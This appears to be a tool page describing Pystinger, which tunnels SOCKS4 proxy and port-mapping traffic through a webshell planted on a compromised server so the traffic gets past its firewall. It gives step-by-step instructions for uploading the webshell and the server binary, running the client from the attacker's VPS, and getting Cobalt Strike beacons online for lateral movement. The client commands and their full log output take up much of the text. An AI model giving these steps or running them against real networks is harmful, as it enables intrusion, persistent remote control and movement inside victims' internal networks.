Pystinger : Bypass Firewall For Traffic Forwarding Using Webshell

Pystinger implements SOCK4 proxy and port mapping through webshell. It can be directly used by metasploit-framework, viper, cobalt strike for session online. Pystinger is developed in python, and currently supports three proxy scripts: php, jsp(x) and aspx.

Usage

Suppose the domain name of the server is http://example.com :8080 The intranet IPAddress of the server intranet is 192.168.3.11

SOCK4 Proxy

  • proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
  • stinger_server.exe Upload to the target server,AntSword run cmdstart D:/XXX/stinger_server.exeto start pystinger-server

Don’t run D:/xxx/singer_server.exe directly,it will cause TCP disconnection

  • Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
  • Your will see following output

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 – INFO – 619 – Local listen checking …
2020-01-06 21:12:47,674 – INFO – 622 – Local listen check pass
2020-01-06 21:12:47,674 – INFO – 623 – Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 – INFO – 628 – WEBSHELL checking …
2020-01-06 21:12:47,681 – INFO – 631 – WEBSHELL check pass
2020-01-06 21:12:47,681 – INFO – 632 – http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 – INFO – 637 – REMOTE_SERVER checking …
2020-01-06 21:12:47,696 – INFO – 644 – REMOTE_SERVER check pass
2020-01-06 21:12:47,696 – INFO – 645 – — Sever Config —
2020-01-06 21:12:47,696 – INFO – 647 – client_address_list => []
2020-01-06 21:12:47,696 – INFO – 647 – SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 – INFO – 647 – LOG_LEVEL => INFO
2020-01-06 21:12:47,697 – INFO – 647 – MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 – INFO – 647 – mirror_address_list => []
2020-01-06 21:12:47,697 – INFO – 647 – READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 – INFO – 673 – TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 – INFO – 677 – SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 – INFO – 679 – — RAT Config —
2020-01-06 21:12:47,697 – INFO – 681 – Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 – INFO – 683 – Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 – WARNING – 111 – LoopThread start
2020-01-06 21:12:47,703 – WARNING – 502 – socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 – WARNING – 509 – Socks4a ready to accept

  • Now you have started a socks4a proxy on VPS 127.0.0.1:60000 for intranet of example.com.
  • Now the target server(example.com) 127.0.0.1:60020 has been mapped to the VPS 127.0.0.1:60020

Cobaltstrike`s beacon online for multi targets

  • proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
  • stinger_server.exe Upload to the target server,AntSword run cmd start D:/XXX/stinger_server.exe 192.168.3.11to start pystinger-server (192.168.3.11 is intranet ipaddress of the target)

192.168.3.11 can change to 0.0.0.0

  • Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
  • Your will see following output

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 – INFO – 619 – Local listen checking …
2020-01-06 21:12:47,674 – INFO – 622 – Local listen check pass
2020-01-06 21:12:47,674 – INFO – 623 – Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 – INFO – 628 – WEBSHELL checking …
2020-01-06 21:12:47,681 – INFO – 631 – WEBSHELL check pass
2020-01-06 21:12:47,681 – INFO – 632 – http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 – INFO – 637 – REMOTE_SERVER checking …
2020-01-06 21:12:47,696 – INFO – 644 – REMOTE_SERVER check pass
2020-01-06 21:12:47,696 – INFO – 645 – — Sever Config —
2020-01-06 21:12:47,696 – INFO – 647 – client_address_list => []
2020-01-06 21:12:47,696 – INFO – 647 – SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 – INFO – 647 – LOG_LEVEL => INFO
2020-01-06 21:12:47,697 – INFO – 647 – MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 – INFO – 647 – mirror_address_list => []
2020-01-06 21:12:47,697 – INFO – 647 – READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 – INFO – 673 – TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 – INFO – 677 – SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 – INFO – 679 – — RAT Config —
2020-01-06 21:12:47,697 – INFO – 681 – Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 – INFO – 683 – Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 – WARNING – 111 – LoopThread start
2020-01-06 21:12:47,703 – WARNING – 502 – socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 – WARNING – 509 – Socks4a ready to accept

  • Add listener on cobaltstrike,Listener port is 60020 (Handler/LISTEN port in RAT CONFIG of output ),listener address is 192.168.3.11
  • Generate payload,upload to the target and run.
  • When lateral movement to other hosts, you can point the payload to 192.168.3.11:60020 to make beacon online

Custom header and proxy

  • If the webshell needs to configure cookie or authorization, the request header can be configured through the — header parameter --header "Authorization: XXXXXX,Cookie: XXXXX"
  • If the webshell needs to be accessed by proxy, you can set the proxy through — proxy --proxy "socks5:127.0.0.1:1081"
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